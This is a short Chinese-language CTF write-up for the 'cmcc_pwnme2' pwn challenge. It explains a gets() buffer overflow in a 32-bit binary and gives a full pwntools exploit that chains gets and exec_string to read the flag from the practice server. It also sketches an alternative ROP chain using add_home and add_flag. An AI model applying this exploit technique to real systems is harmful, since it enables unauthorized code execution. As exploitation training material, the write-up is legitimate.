cmcc_pwnme2
步骤:
- 例行检查,32位,开启了nx保护
- 本地运行一下看看大概的情况
- 32位ida载入
main(),10行的gets存在溢出
userfunction()
main函数里就这么多东西,看看左边的函数列表,发现了挺有意思的几个函数
exec_string()
add_home()
add_flag()
- 由于exec_string()函数的存在,所以想到的是利用它来读取出flag,add_home()和add_flag()应该是这题比赛时候的目录,根据之前在buu上做题的经验来说,buu的flag一般都在根目录底下,所以这题就直接利用gets的溢出,将栈的返回地址覆盖成gets,在执行完gets后的ret写上exec_string()的地址,然后传入gets参数的地址&string,之后我们手动输入‘flag’字符串,这样就读出了flag
payload='a'*(0x6c+4)+p32(gets)+p32(exec_string)+p32(string)
完整exp:
from pwn import *
p = remote('node3.buuoj.cn',25200)
elf=ELF('./pwnme2')
exec_string=0x080485cb
string=0x0804a060
gets=elf.sym['gets']
p.recvuntil('Please input:\n')
payload='a'*(0x6c+4)+p32(gets)+p32(exec_string)+p32(string)
p.sendline(payload)
p.sendline('flag')
p.interactive()
比赛的话应该是利用add_home()和add_flag()去拼接一下flag的目录然后读取出来,应该是这样构造payload
payload=‘a’*(0x6c+4)+p32(add_home)+p32(pop_ebx)+p32(0xDEADBEEF)+p32(add_flag)+p32(pop_2个寄存器)+p32(0xCAFEBABE)+p32(0xABADF00D)+p32(exec_string)